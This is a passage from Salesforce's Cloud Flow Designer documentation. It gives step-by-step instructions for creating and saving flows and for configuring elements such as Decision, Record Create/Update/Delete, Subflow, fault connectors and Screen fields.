Description Pane (6)
When viewing an item in the Palette or Resources tab, the Description pane shows the items description or details. When
viewing items on the Explorer tab, the Description pane includes two subtabs: Properties and Usage. The Properties subtab

1896

Create

Creating a Flow

shows you information about the element or resource you have selected, such as its label, unique name, description, and data
type. The Usage subtab shows you where the selected item is being used.

See Also:
About the Flow Designer
Editing Flow Properties

Creating a Flow
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

To create a flow in the Cloud Flow Designer, go to Your Name > Setup > Create > Workflow & Approvals > Flows and
click New Flow.
Tips and Tricks for Creating Flows

Have a draft flow in mind before you start creating your flow in the Cloud Flow Designer.
If you're not sure what kind of element you need for a node in your flow, use a Step element as a placeholder until you
figure it out. You can always replace it later.
If you need to delete a group of elements and connectors, you can left-click and drag to select an area containing them.
Then press DELETE to remove all of them at once.

If you're new to the Cloud Flow Designer, we recommend walking through one or more of the sample flow tutorials in the
Visual Workflow Implementation Guide. They're a great way to introduce yourself to the tool and discover how things work.

See Also:
About the Flow Designer
Managing Your Flows

About Saving a Flow


Available in: Enterprise, Unlimited, and Developer Editions

After you've created a flow in the Cloud Flow Designer, you have a few options for saving it:

Initial saveWhen you save a new flow for the first time, a dialog box appears. Enter a flow name, unique name and
description. Once you save the flow, the unique name can't be changed.

1897

Create

Flow Designer Elements

Note: A unique name is limited to underscores and alphanumeric characters. It must be unique, begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.

Quick saveAfter you've saved a flow once, the Save button works as a quick-save, overwriting your previous work.
However, the Save button doesnt work when editing active flows. You must use Save As to save your changes as a new
version or new flow.
Save AsOnce you've saved your flow for the first time, this button is enabled, with two options:
Save as new flow opens a dialog box where you can input a new name, unique name and description, then save your
changes as an entirely new flow.
Save as new version saves the flow you're working on as a new version of the current flow. This is a useful option if
you want to make changes to a flow and keep the old configuration as a backup in case you need to refer back to it later.
Each flow can have up to 10 versions. You can update the flow name and description when you save a new version, but
not the unique name.

When saving a flow or flow version:

If you have the flow detail page open in one browser tab, then open a flow version in a new browser tab to edit it, after
saving and closing it, you must refresh the first flow detail page before you can successfully run the flow version you just
edited.
If you've changed the flow properties and for some reason the save fails, the flow properties don't revert to the previous
values.

See Also:
About the Flow Designer

Flow Designer Elements


Available in: Enterprise, Unlimited, and Developer Editions

Elements are the building blocks of flows. Each element represents an action, such as presenting information to, or collecting
information from, flow users, or even querying, creating, updating, and deleting information in Salesforce. By connecting
elements together in the Flow Designer, you can create a flow, which is a series of screens, inputs, and outputs through which
users navigate.
The following elements are available in the Cloud Flow Designer:

Step
Screen
Decision
Assignment
Record Create
Record Update
Record Lookup

1898

Create

Flow Designer Elements

Record Delete
Subflows
Apex Plug-In
Connector
Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

See Also:
About the Flow Designer

Adding and Configuring an Apex Plug-in Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

The Apex Plug-in element represents a piece of Apex code that you can include in a flow. It lets you call an Apex class with
the Process.Plugin interface and pass data between your organization and a flow.
When you open it, the Cloud Flow Designer discovers any Process.Plugin classes you created and displays them as elements
on the Palette. Select a plug-in on the Palette to view its tag, class name, inputs, and outputs in the Description pane. Required
inputs are listed with an asterisk (*).
Important: Before you can use an Apex Plug-in element in a flow, you must first write the Apex class that implements
the interface. Be sure your describe method is implemented correctly so the Flow Designer can pull the input and
output information. For more information about how to do that, see Using the Process.Plugin Interface in the
Force.com Apex Code Developer's Guide
To add or configure an Apex Plug-in element:
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag an Apex Plug-in element onto the canvas. The class name and plug-in description are taken from
the plug-in code.
3. Enter a name for your new plug-in element.
4. If necessary, enter a different unique name.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
5. If you havent already added a description, click Add Description to do so.

1899

Create

Flow Designer Elements

6. On the Inputs tab, assign values to the Apex parameters.


Required parameters are automatically listed as targets. Click Add Row to set an optional parameter. Click
a row.
Column Header

Description

Target

Apex parameter whose value you want to set.

Source

Value to assign to the Apex parameter.

to remove

Options:

Select an existing flow resource, such as a variable, constant, or user input.


Select CREATE NEW to create a new flow resource.
Manually enter a literal value or merge field.
If you manually enter a date, you must use the MM/DD/YYYY format.

7. On the Outputs tab, assign values from Apex parameters to variables in the flow.
Click Add Row to enter more output assignments. Click

to remove a row.

Column Header

Description

Source

Apex parameter whose value you want to get.

Target

Select an existing flow variable, or select CREATE NEW to create a new variable.

8. Click OK.
Note: If the Apex plug-in fails for some reason, the fault connector path will be taken if youve defined one.

See Also:
About Apex Plug-ins in Flows
Flow Designer Elements
About the Flow Designer
About the Fault Connector

1900

Create

Flow Designer Elements

About Apex Plug-ins in Flows


Available in: Enterprise, Unlimited, and Developer Editions

The Apex Plug-in element represents a piece of Apex code that you can use to pass data between your organization and a
flow.
When using Apex plug-ins in a flow:

Add a tag string to your Apex plug-in to group your plug-ins in the Flow Designer Palette. If you don't add a tag string
to a plug-in, it shows up at the root level of the Apex Plug-ins section.
Apex primitive data types Blob and Time aren't supported for flow plug-ins.
If you don't provide a name for your plug-in, it displays in the Palette using the class name.
If you make code changes to an Apex plug-in while the Cloud Flow Designer is open, you won't see the changes in the
plug-in elements until you close and re-open the Designer.

See Also:
Adding and Configuring an Apex Plug-in Element
Flow Designer Elements
About the Flow Designer

Adding and Configuring an Assignment Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

Use the Assignment element to make changes to the value of a variable. For example, you could dynamically change the value
of a customer's credit score depending on how they answer certain questions in the flow.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag the Assignment element onto the canvas.
3. Enter a Name and Unique Name for the element.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4. If you havent already added a description, click Add Description to do so.

1901

Create

Flow Designer Elements

5. In the Assignments section, select the variable you want to change. If you havent created the variable yet, you can do that
by expanding the CREATE NEW section of the drop-down list.
6. Select an operator.
7. Enter a value or select an element to adjust the variable you selected. Use the CREATE NEW section of the drop-down
list to create new resources, if necessary.
Note: When you add or subtract a number from a date value, the date adjusts in days, not hours.

8. Click Add Assignment to add another line. Click and drag assignment line items to reorder them.
9. Click to remove a line.
10. Click OK to accept your changes or Cancel to discard them.
Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

See Also:
Flow Designer Elements
About the Flow Designer

About the Connector Element


Available in: Enterprise, Unlimited, and Developer Editions

Connectors control how the flow is executed and are represented as arrows on the Flow Designer canvas.
Adding and Deleting Connectors
To add a connector between flow elements, click the node beneath the source element and drag and drop a line anywhere
onto a target element. To delete a connector, select it and press the DELETE key. If the source element has defined outcomes,
when you drop the connector onto its destination, you must select which outcome to assign to the path.
Tip:

When you select a connector, its color changes from black to red.
You may find it easier to select a connector by clicking and dragging an area on the canvas that includes both ends
of the connector.

Connector Properties and Expected Behavior

When you click and drag an element around the canvas, each end of the connector stays stuck to its element and stretches
to accommodate the new element position. If you move the element into a new position in the flow, you must manually
adjust any connections and outcomes.
Deleting a connector doesn't delete the outcome associated with it, but deleting an element's outcome does delete the
associated connector.

1902

Create

Flow Designer Elements

Only Decisions, Steps and data elements can have more than one outgoing connector.
Some elements also support an outgoing fault connector.

The source and destination elements for a connector can't be the same.

See Also:
About the Fault Connector
Flow Designer Elements
About the Flow Designer

About the Fault Connector


Available in: Enterprise, Unlimited, and Developer Editions

While a connector element determines the normal path of flow execution, a fault connector is executed at runtime only when
its source element results in an error.
A fault connector can have any target element but only the following source elements:

Apex Plug-In
Record Create
Record Update
Record Lookup
Record Delete

By default, if executing one of these elements results in an error, the flow displays a generic error message to the flow user.
Also, the user cant proceed with the flow. Use fault connectors to gracefully handle such errors. For example:

Suppose an Apex plug-in element calls an external Web service to validate user-entered addresses. If the Web service call
fails for any reason, the flow can proceed along the fault connector to a screen where the user can verify the entered address,
make any corrections, and proceed with the flow.
If the flow is used only internally, for example by call center users, each fault connectors target screen can display a system
fault message that flow users can give to the IT department. For example, you can set up a Display Text field on the screen
as follows:
Sorry, but you cant update records at this time.
Please open a case with IT, and include the following error message:
{!$Flow.FaultMessage}

You can ignore the errors completely, and have the flow proceed along the normal path. To do this, add a fault connector
on top of the connector element.

1903

Create

Flow Designer Elements

Add and delete a fault connector just as you would add and delete a connector element, only you need to add the connector
element first. The connector element properties and expected behavior also apply to fault connectors.

See Also:
About the Connector Element
Flow Designer Elements

Adding and Configuring a Decision Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

Use the Decision element to evaluate a set of conditions and route users through the flow based on the outcomes of those
conditions.
You can use a Decision element to drive your flow without explicit end-user input. For example:

In a customer self-help portal, a Decision element could determine whether a customer is given a return shipping address
and information (because an item is definitely faulty), or given information on how to resolve their problem themselves.
Within a banking flow, a Decision element could determine if a customer should be offered a loan or not (based on results
of a credit scoring formula).
Tip: If you ask a user to make a choice in a screen with a drop-down list or radio buttons, hook up a Decision element
directly after the Screen element to create the branches of the flow based on the choices. You should represent each
drop-down list or radio button option in your Decision element and connect it to a branch of your flow.

To add or configure a Decision element:


1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag the Decision element onto the canvas.
3. Enter a Name and Unique Name for the Decision.
The requirement for uniqueness applies only to elements within the current flow. You can have two elements with the
same unique name, provided they are used in different flows. A unique name is limited to underscores and alphanumeric
characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.
4. If you havent already added a description, click Add Description to do so.
5. Create the outcomes for the decision:
a. Enter a Name and Unique Name for the first outcome.
b. Set up the conditions for the outcome. You can expand the CREATE NEW section of the Resource or Value
drop-down list to create new resources, if necessary.

1904

Create

Flow Designer Elements

Note: Two operators are unique to the Cloud Flow Designer. Depending on the type of Resource you select,
you might see these in the Operator list:

was selectedAvailable only for choices. Lets you track whether a specific choice on a screen was selected
by the user. To learn more about how was selected works, see Visual Workflow Considerations on page
1934.
was visitedAvailable for any main canvas element. Lets you track whether an element in the flow was
visited by the user.

Selecting either of these operators makes the Value of the condition statement Boolean. You can then set the
Value to true or false by clicking the arrow button, expanding the GLOBAL CONSTANT section, and
selecting either $GlobalConstant.True or $GlobalConstant.False. For more information, see About
Global Constants in the Cloud Flow Designer on page 1932.
c. Click Add Condition to add another condition or click to remove a condition. At runtime, the conditions are
evaluated in the order you specify.
d. Choose under which conditions the outcome evaluates to true:

All conditions must be true (AND)The outcome will evaluate to true overall if all the conditions you specified
evaluate to true.
One condition must be true (OR)The outcome will evaluate to true overall if at least one of the conditions
you specified evaluates to true.

6. Click Add Outcome to add more outcomes. You can drag outcomes up and down to reorder them.
7. Click [Default Outcome] to set up a path to which users will be routed if none of the other outcome conditions are met.
8. Click OK to accept your changes or Cancel to discard them.
When youre done setting up your outcomes, you can then draw connectors from your Decision element to other elements on
the canvas and assign an outcome to each connector.

See Also:
Flow Designer Elements
About the Flow Designer

Adding and Configuring a Record Create Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

Use the Record Create element to create a new record in Salesforce using values from your flow. For example, you could
capture the name and address that a user enters into the flow, use the Record Lookup element to see if they exist in Salesforce,
and if they don't, use the Record Create element to create a new record for that user.

1905

Create

Flow Designer Elements

1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag the Record Create element onto the canvas.
3. Enter a Name and Unique Name for the element.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4. If you havent already added a description, click Add Description to do so.
5. Select the object for which you want to create a record.
6. Select the field or fields from the object that you want to populate, then assign a value or resource to the field. The data
types must match.
In the Value column, you can manually enter literal or merge field values. You can also select pre-defined flow values
(from variables, constants or user inputs, for example). Use the CREATE NEW section of the drop-down list to create
new resources, if necessary. When entering a date value, you must use the MM/DD/YYYY format.
7. Click Add Row to set the value of another field.
8. Click to remove a line.
9. Optionally, assign the new record's ID to a variable so you can use it or refer to it later in the flow. The variable you choose
must be of type text. If you havent created the variable yet, you can do that by expanding the CREATE NEW section
of the drop-down list.
10. Click OK to accept your changes or Cancel to discard them.
Important: Check your object definition to ensure that all required fields are populated with values; otherwise the
record create will fail at runtime. If the record create does fail, the fault connector path will be taken if youve defined
one.

See Also:
Flow Designer Elements
About the Flow Designer
About the Fault Connector

Adding and Configuring a Record Lookup Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

Use a Record Lookup element to find a Salesforce record and store the values from its fields into your flow. For example, you
could use a Record Lookup element to:

1906

Create

Flow Designer Elements

Input (or read) a bar code from a product tag and use the code to read data from the database to find out the product name
or description.
Look up item details to check for stock availability.
Look up a customer record to verify a caller's identity.

To add and configure a Record Lookup element:


1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag the Record Lookup element onto the canvas.
3. Enter the general settings for the element.
Field

Description

Name

Helps you identify the element on the canvas.

Unique Name

The requirement for uniqueness applies only to elements within the current flow. You can
have two elements with the same unique name, provided they are used in different flows.
A unique name is limited to underscores and alphanumeric characters. It must be unique,
begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.

Description

Appears after you click Add Description.

4. Select the object to identify which record type to look up.


5. Specify the filter criteria for selecting the record from the database.
Click Add Row to enter more filters. Click

to remove a row.

Column Header

Description

Field

Field for filtering records.

Operator

The available filter operators depend on the data type selected for the Field and Value.

Value

The Field and Value in the same row must have the same data type.
Options:

Select an existing flow resource, such as a variable, constant, or user input.


Select CREATE NEW to create a new flow resource.
Manually enter a literal value or merge field.
If you manually enter a date, you must use the MM/DD/YYYY format.

Make sure your filter criteria sufficiently narrows the search. The Record Lookup element ultimately returns only the first
record from the filtered results, which arent retrieved from the database in any particular order.
6. To sort the filtered results before the first record is selected:
a. Select Sort results by.
b. Select the field to sort by. Only sortable fields appear in the drop-down list.
c. Select the sort order, either ascending or descending.

1907

Create

Flow Designer Elements

7. Assign the values of fields in the returned record to variables in the flow.
Click Add Row to enter more field assignments. Click

to remove a row.

Column Header

Description

Field

Records field whose value you want to assign to a variable.

Variable

Select an existing flow variable, or select CREATE NEW to create a new variable.

8. Click OK.
Note: If the record lookup fails for some reason, the fault connector path will be taken if youve defined one.

See Also:
Flow Designer Elements
About the Flow Designer
About the Fault Connector

Adding and Configuring a Record Update Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

Use a Record Update element to update a set of records in Salesforce with variable, constant, input, or other values from your
flow. You can update a single record, or multiple records, depending on how you set your filter criteria.
If you're using flows in a call center, for example, you can use a Record Update element to automatically update Salesforce
with data collected from callers, such as new addresses, phone numbers, or product preferences.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag the Record Update element onto the canvas.
3. Enter a Name and Unique Name for the element.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4. If you havent already added a description, click Add Description to do so.
5. Select the object for which you want to update a record.

1908

Create

Flow Designer Elements

6. Set criteria to select which records get updated. The data types of the values in the Field and Value columns must match.
In the Value column, you can manually enter literal or merge field values. You can also select pre-defined flow values
(from variables, constants or user inputs, for example). Use the CREATE NEW section of the drop-down list to create
new resources, if necessary. When entering a date value, you must use the MM/DD/YYYY format.
Important: You must configure at least one filter, or you will update all the records for the object.

7. Click Add Row to add another filter.


8. Click to remove a line.
9. Update record fields with values from your flow:
a. Select a field on the record that you want to update.
b. Select a value from your flow (like a variable, constant or user input, for example) that you want to assign to the record's
field. Use the CREATE NEW section of the drop-down list to create new resources, if necessary.
c. Click Add Row to update another field.
d. Click

to remove a field.

10. Click OK to accept your changes or Cancel to discard them.


Note: If the record update fails for some reason, the fault connector path will be taken if youve defined one.

See Also:
Flow Designer Elements
Adding and Configuring a Formula
About the Flow Designer
About the Fault Connector

Adding and Configuring a Record Delete Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

Use a Record Delete element to delete records in Salesforce. You can delete a single record or multiple records, depending on
how you set your filter criteria.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag the Record Delete element onto the canvas.
3. Enter a Name and Unique Name for the element.

1909

Create

Flow Designer Elements

Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4. If you havent already added a description, click Add Description to do so.
5. Select the object whose records you want to delete.
6. Add rows of filter criteria to determine which records will be deleted. You must configure at least one filter.
In the Value column, you can manually enter literal or merge field values. You can also select pre-defined flow values
(from variables, constants or user inputs, for example). Use the CREATE NEW section of the drop-down list to create
new resources, if necessary. When entering a date value, you must use the MM/DD/YYYY format.
7. Click Add Row to add another filter.
8. Click to remove a line.
9. Click OK to accept your changes or Cancel to discard them.
Caution: Things to note when using a Record Delete element:

Be careful when testing flows that contain Record Delete elements. Even if the flow is inactive, running it will
trigger the delete operation.
To prevent deleting records by mistake, be as specific in your filter criteria as possible.
Records are deleted from your organization the moment the flow executes the Record Delete element.
Deleted records are sent to the Recycle Bin and remain there for 15 days before they are permanently deleted.

Note: If the record delete fails for some reason, the fault connector path will be taken if youve defined one.

See Also:
Flow Designer Elements
About the Flow Designer
About the Fault Connector

About Subflows
Available in: Enterprise, Unlimited, and Developer Editions

Reduce the complexity of your flow by reusing other flows.


A subflow element references another flow and calls that flow at runtime. When a flow contains a subflow element, we call it
the master flow to distinguish it from the referenced flow.
With subflows, you can simplify your overall flow architecture. Build reusable flows to perform common tasks. For example,
you can build reusable flows to capture address and credit card information, and authorize a credit card purchase amount.
Then you can have multiple product-ordering flows call the reusable flows as needed.

1910

Create

Flow Designer Elements

At runtime, the master flow calls the active version of each referenced flow by default. If a referenced flow has no active version,
then the master flow calls the latest version of the referenced flow. To run only the latest version of each referenced flow, use
one of the following methods:

Open the master flow in the Cloud Flow Designer, and click Run with Latest in the button bar.
Run the master flow from the flow URL appended with ?latestSub=true.
Note: Only flow administrators can run inactive flows. For other users, the flow will fail at runtime if a subflow
element tries to call a flow with no active version.

The Palette lists the other flows in your organization. If you select a flow in the Palette, the following information appears in
the Description pane:

The flows unique name and description.


The version of the flow that would be called by default at runtime.
The flow versions variables that are available for input or output assignments.
From a subflow element, you can only assign values to or from the referenced flows variables that allow input/output
access. This access is determined by the Input/Output Type of the variable. If you need to change the variables
Input/Output Type, open the referenced flow to edit the variable.

See Also:
Adding and Configuring a Subflow Element
Putting Flows to Work
Adding and Configuring a Variable

Adding and Configuring a Subflow Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

Use a subflow element to have the flow call another flow at runtime.
Before you begin, create or install the other flow that you want to call.
A subflow element references another flow and calls that flow at runtime. When a flow contains a subflow element, we call it
the master flow to distinguish it from the referenced flow. Use subflow input and output assignments to transfer data between
the master flow and the referenced flow.
1. Click Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Palette, drag the flow that you want to call onto the canvas.
3. Enter the general settings for the subflow element.

1911

Create

Flow Designer Elements

Field

Description

Name

Helps you identify the element on the canvas.

Unique Name

The requirement for uniqueness applies only to elements within the current flow. You can have
two elements with the same unique name, provided they are used in different flows. A unique
name is limited to underscores and alphanumeric characters. It must be unique, begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive
underscores.

Description

Appears after you click Add Description.

4. On the Inputs tab, assign values to variables in the referenced flow.


These variable assignments occur when the master flow calls the referenced flow at runtime.
Click Add Row to enter more variable assignments. Click

to remove a row.

Column
Header

Description

Target

Referenced flows variable whose value you want to set.


By default, the subflow overlays drop-down lists for selecting the referenced flows variables are populated
with the variables of the currently active version of the referenced flow. If the referenced flow has no
active version, the drop-down lists are populated with the variables of the latest version of the referenced
flow. You can, however, view or select from the inputs and outputs of other versions of the referenced
flow.

Source

Master flows resource or value to assign to the target.


Options:

Select an existing flow resource, such as a variable, constant, or user input.


Select CREATE NEW to create a new flow resource.
Manually enter a literal value or merge field.
If you manually enter a date, you must use the MM/DD/YYYY format.

5. On the Outputs tab, assign values from the referenced flows variables to the master flows variables.
These variable assignments occur when the referenced flow finishes running.
Click Add Row to enter more variable assignments. Click

to remove a row.

Column
Header

Description

Source

Referenced flows variable whose value you want to assign to the target.
By default, the subflow overlays drop-down lists for selecting the referenced flows variables are populated
with the variables of the currently active version of the referenced flow. If the referenced flow has no
active version, the drop-down lists are populated with the variables of the latest version of the referenced

1912

Create

Flow Designer Elements

Column
Header

Description
flow. You can, however, view or select from the inputs and outputs of other versions of the referenced
flow.

Target

Master flows variable whose value you want to set.

6. Click OK.

See Also:
About Subflows
Viewing Inputs and Outputs of Other Referenced Flow Versions

Viewing Inputs and Outputs of Other Referenced Flow Versions


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

While configuring a subflow element, you can view the variables of a specified version of the referenced flow.
Before you begin, add a subflow element to your flow.
From a subflow element, you can only assign values to or from the referenced flows variables that allow input/output access.
This access is determined by the Input/Output Type of the variable. If you need to change the variables Input/Output
Type, open the referenced flow to edit the variable.
By default, the subflow overlays drop-down lists for selecting the referenced flows variables are populated with the variables
of the currently active version of the referenced flow. If the referenced flow has no active version, the drop-down lists are
populated with the variables of the latest version of the referenced flow.
If you want to populate the drop-down lists with the variables of another version of the referenced flow, or if you just want to
view the descriptions of the referenced flows variables, complete the following steps.
1. On the subflow overlay, expand the Input/Output Variable Assignments section.
2. Click View input/output of other versions.
3. Use one or more of the following options in the Select Version of Referenced Flow overlay.
Option

Description

Select a Version number in the left pane.

The Inputs and Outputs tabs display the variables in the selected version
of the referenced flow.

1913

Create

Flow Designer Elements

Option

Description

Select the Inputs tab or the Outputs tab.

The tab displays:


The variables available for input or output assignment in the selected
Version of the referenced flow.
The data type of each variable.
The description, if any, of each variable.

Click OK.

The subflow overlays drop-down lists for selecting the referenced flows
variables are populated with the variables of the selected Version of the
referenced flow.

When you configure subflow input and output assignments, you can specify variables from any version of the referenced flow.
This enables you to develop both the master flow and referenced flow in parallel, while keeping another version of the referenced
flow active for its users. When you save the master flow, however, the subflow validations are performed only against the
currently active versionor if there is no active version, then against the latest versionof the referenced flow. You may see
informational validation messages about the variables that couldnt be found or that were configured differently in the referenced
flow, but those messages wont block you from saving the flow. Nevertheless, be sure to resolve all validation errors before you
activate the master flow.

See Also:
Adding and Configuring a Subflow Element
About Subflows

Adding and Configuring a Screen Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

The Screen element can be used to set up a form to capture user input, provide choice selections, and display information to
your users. It combines functionality from several different elements in the desktop Flow Designer, such as Form, Statement,
Choice, and Question.
1.
2.
3.
4.

Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
From the Palette tab, drag the Screen element onto the canvas.
Set up your Screen by configuring fields on the General Info, Add a Field, and Field Settings tabs.
Click OK to accept your changes or Cancel to discard them.

1914

Create

Flow Designer Elements

Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

As you progress through the Screen overlay, you can see a preview of what you're building in the right pane.

See Also:
Adding and Configuring a Dynamic Choice
Flow Designer Elements
About the Flow Designer

Configuring the Screen Element's General Info Tab


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings. To configure
the General Info tab:
1. Enter a Screen Name, then press TAB. The Unique Name field should auto-populate.
2. You can enter a different unique name for the screen.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
3. If you havent already added a description, click Add Description to do so.
4. To provide flow users with help for the screen:
a. Click the arrow to expand the Help Text section.
b. Enter the text that you want flow users to see when they click Help for this form.
c. Click to switch between the plain text editor and the rich text editor.
If you use the rich text editor, the content is saved as HTML.

See Also:
Flow Designer Elements
About the Flow Designer

1915

Create

Flow Designer Elements

About the Screen Element's Add A Field Tab


Available in: Enterprise, Unlimited, and Developer Editions

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings.
The Add a Field tab lists all the available fields you can add to your Screen.

Inputs

Textbox
Long Text Area
Number
Currency
Date
Password

Choices
Radio Buttons
Drop-down List

Outputs
Display Text

Add an input, output, or choice field to a Screen either by double-clicking or dragging it to the preview pane. Remove a field
from the Screen overlay by hovering over it and clicking
them up and down.

. Reorder the fields in the preview pane by clicking and dragging

See Also:
Flow Designer Elements
About the Flow Designer

Configuring the Screen Element's Field Settings Tab


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings.

1916

Create

Flow Designer Elements

On the Field Settings tab, configure the field you've added to the form by clicking it in the right-hand preview pane of the
overlay. The options available on the Field Settings tab vary based on which type of field you're configuring.

Inputstextbox, long text area, number, currency, date, password


Choicesradio buttons, drop-down list
Outputsdisplay text

See Also:
Flow Designer Elements
About the Flow Designer

Configuring User Input Fields on the Screen Element's Field Settings Tab
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings.
On the Field Settings tab, configure the field you've added to the form by clicking it in the right-hand preview pane of the
overlay. The options available on the Field Settings tab vary based on which type of field you're configuring. Heres how to
set up user input fields on a Screen overlay, including textbox, long text area, number, currency, date, and password.
1. In the Screen overlays preview pane, click an input field to configure its settings.
2. In the General Info section, enter a Label to display text to the left of the field.
3. If you want to use the rich text editor to format your field label, click the rich text editor icon ( ) to the right of the Label
field.
a. Once youre done editing the text, click OK. The Label field display changes to indicate that it is now a rich text field.

b. Click Edit to make changes to your label text.


c. Click Clear to completely clear the Label field and start over.
4. You can enter a different Unique Name for your field. By default, this field is filled in with your field label.
Note: A unique name is limited to underscores and alphanumeric characters. It must be unique, begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
5. Enter a Default Value to show a default value as ghost text in the input field. You can select values from existing screen
choice fields or flow resources, or you can create a new resource with which to populate the field.

1917

Create

Flow Designer Elements

6. For number and currency fields, you can set a Scale value. The scale is the maximum number of digits allowed to the
right of the decimal point. This number can't exceed 17. If you leave this field blank or set to zero, only whole numbers
are displayed when your flow runs.
7. Select the Required checkbox to make the field required.
8. In the Input Validation section, create a formula expression to validate the user input for the field.
a. Select Validate.
b. Enter a formula expression to define the values allowed for the field.
c. Customize the error message that will be displayed to the flow user if the input fails validation.
Click to switch between the plain text editor and the rich text editor. If you use the rich text editor, the content is
saved as HTML.
Note:

If the formula statement evaluates to TRUE, the input is valid. If the formula statement evaluates to FALSE, the
error message is displayed to the user.
If the user leaves the field blank, and the field is not required, no validation is performed.

9. To provide flow users with help for the field:


a. Click the arrow to expand the Help Text section.
b. Enter the text that you want flow users to see when they click next to the field.
c. Click to switch between the plain text editor and the rich text editor.
If you use the rich text editor, the content is saved as HTML.
10. Click OK.

See Also:
Configuring the Screen Element's Field Settings Tab
Adding and Configuring a Screen Element
Flow Designer Elements
About the Flow Designer

Configuring Choice Fields on the Screen Element's Field Settings Tab


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings.

1918

Create

Flow Designer Elements

On the Field Settings tab, configure the field you've added to the form by clicking it in the right-hand preview pane of the
overlay. The options available on the Field Settings tab vary based on which type of field you're configuring. Heres how to
set up choice fields on a Screen overlay, including radio buttons and drop-down lists.
1. In the Screen overlays preview pane, click a choice type field to configure its settings.
2. In the General Info section, enter a Label to display text to the left of the field.
3. If you want to use the rich text editor to format your field label, click the rich text editor icon ( ) to the right of the Label
field.
a. Once youre done editing the text, click OK. The Label field display changes to indicate that it is now a rich text field.

b. Click Edit to make changes to your label text.


c. Click Clear to completely clear the Label field and start over.
4. You can enter a different Unique Name for your field if necessary. By default, this field is filled in with your field label.
Note: A unique name is limited to underscores and alphanumeric characters. It must be unique, begin with a
